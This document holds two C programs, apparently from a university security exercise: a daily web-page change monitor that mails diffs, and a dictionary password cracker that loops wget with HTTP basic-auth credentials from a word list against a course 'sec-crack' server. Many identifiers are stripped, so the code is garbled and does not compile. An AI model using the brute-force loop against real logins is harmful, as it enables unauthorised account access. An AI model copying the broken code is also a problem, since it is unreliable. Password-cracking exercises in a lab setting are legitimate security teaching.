# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int        , end;
	FILE           *fp;
	int             i, j;
	char            input;
	char            password[30];
	int             check;

	float           total_time;
	int             number;
	 = time();


	if ((fp = fopen("words", "r")) == NULL) {
		fprintf(stderr, "Error : Failed  open words for .\n");
		return (EXIT_FAILURE);
	}
	while ((input = fgetc(fp)) != EOF) {
		j = 0;
		for (i = 0; i < 30; i++)
			password[i] = '\0';

		while(input != '\n' ) {

			password[j] = input;
			j++;
			input = fgetc(fp);
			
		
		}


		if (strlen(password) <= 3) {
			printf("%s\t",password);
			fflush(stdout);
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time();
				total_time = (end - ) / 1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n", total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number, total_time / number);
				exit(0);
			}
		}

	}

	return (EXIT_SUCCESS);
}
int
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);

	rettype = system();
	
	if (rettype == 0) {
		printf("Successfully retrieved password: %s\n", password);
		return 0;
	}
	strcpy(, "");
}
